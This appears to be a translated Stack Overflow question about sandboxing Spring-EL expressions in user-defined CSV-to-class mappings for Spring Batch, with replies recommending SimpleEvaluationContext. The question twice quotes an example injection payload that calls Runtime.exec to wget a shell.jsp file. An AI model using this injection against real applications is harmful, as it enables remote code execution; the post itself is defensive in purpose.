我正在使用Spring-EL创建动态csv字段映射到不同的Spring-Batch导入作业中使用的类字段(不同的输入文件,相同的输出类)。这很有效,但用户必须能够创建这样的映射配置。
问题在于Spring-EL表达式不是在某种沙箱内执行的,因此很容易注入恶意代码。例如:
name: T(java.lang.Runtime).getRuntime().exec("wget http://localhost:8090/shell.jsp")
我的问题是,如何在某种沙箱内运行Spring-EL或限制访问仅限于特定的一组方法/类?我找不到与此主题相关的任何内容。也许Spring-EL不是这项工作的正确选择。
我试图实现的示例:
问题在于Spring-EL表达式不是在某种沙箱内执行的,因此很容易注入恶意代码。例如:
name: T(java.lang.Runtime).getRuntime().exec("wget http://localhost:8090/shell.jsp")
我的问题是,如何在某种沙箱内运行Spring-EL或限制访问仅限于特定的一组方法/类?我找不到与此主题相关的任何内容。也许Spring-EL不是这项工作的正确选择。
我试图实现的示例:
name: column[0]
category: concat(' ', column[18], column[19])
age: split(column[3], '/', 0)
SimpleEvaluationContext
。 - Artem BilanSimpleEvaluationContext.forReadOnlyDataBinding().withInstanceMethods().build();
。 - Mark Ebbers